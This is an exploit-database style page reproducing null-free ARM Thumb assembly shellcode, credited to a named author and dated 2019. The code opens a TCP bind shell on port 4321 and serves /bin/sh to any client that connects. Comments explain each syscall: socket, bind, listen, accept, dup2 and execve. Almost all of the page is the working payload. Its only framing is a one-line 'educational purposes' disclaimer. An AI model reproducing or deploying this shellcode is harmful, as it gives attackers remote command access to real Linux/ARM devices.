Linux/arm bind tcp (0.0.0.0:4321) shell (/bin/sh) + nullfree shellcode (84 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-01-28 | Type : shellcode | Platform : arm
This exploit / vulnerability Linux/arm bind tcp (0.0.0.0:4321) shell (/bin/sh) + nullfree shellcode (84 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
* Title: Linux/ARM - Bind_Shell Shellcode TCP (/bin/sh). Null free shellcode 0.0.0.0:4321 (84 bytes)
*Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/
* Tested: armv7l (Raspberry Pi b3+)
* Date: 2019-01-28
*/

/*socket-281, domain=2,type=1,protocol=0*/
/*bind-282 sockfd=final result of socket,&addr=struct,adrlen=16*/
/*listen-284,sockfd=id value-r4,backlog=1/2*/
/*accept-285,sockfd=id,&addr=0,addrlen=0*/
/*dup2-63,sockfd=final result of accept r4<-r0=4,newfd=0,1,2*/
/*execve-11,execv="/bin/sh",0,0*/

.section .text
.global _start
_start:
.ARM
add r3,pc,#1
bx r3
.THUMB
//socket:
mov r0,#2
mov r1,#1
mov r7,#200
add r7,#81
svc #1
mov r4,r0
push {r0,r1,r2} /*r0=3,r1=1,r2=0*/
//bind:
adr r1,struct
strb r2,[r1,#1]
str r2,[r1,#4] /*store r2=0 in IP*/
mov r2,#16
add r7,#1
svc #1
//listen:
pop {r0,r1,r2} /*r0=3,r1=1,r2=0*/
add r7,#2
svc #1
//accept:
mov r0,r4
sub r1,r1
add r7,#1
svc #1
add r0,r0,r2 /*r0=4,r2=0*/
//dup2:
//dup(4,2)
mov r7,#63
//dup(4,1)
mov r1,#1
svc #1
//dup(4,0)
sub r1,#1
svc #1
//execve:
adr r0,exc
strb r2,[r0,#7]
mov r7,#11
svc #1
exc:
.ascii "/bin/shX"
struct:
.ascii "\x02\xff"
.ascii "\x10\xE1" //port 4321
.byte 1,1,1,1 //IP-0.0.0.0